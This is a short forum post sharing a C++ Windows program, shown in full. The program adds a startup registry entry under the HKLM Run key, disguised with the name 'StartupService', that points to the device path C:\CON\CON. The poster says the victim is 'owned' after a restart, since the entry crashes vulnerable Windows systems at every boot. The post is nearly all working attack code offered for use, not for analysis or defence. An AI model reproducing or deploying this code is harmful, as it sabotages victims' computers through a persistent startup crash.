[SMR]

EDIT: I forgot the [C++] tag, any mod/admin mind adding that for me?

#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     // TODO: Place code here.
    BYTE Data[11] = { 'C',':','\\','C','O','N','\\','C','O','N','\0' };
    HKEY KeyHandle;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
    RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
    RegCloseKey(KeyHandle);
    return 0;
}

Once the user restarts their computer, they're owned.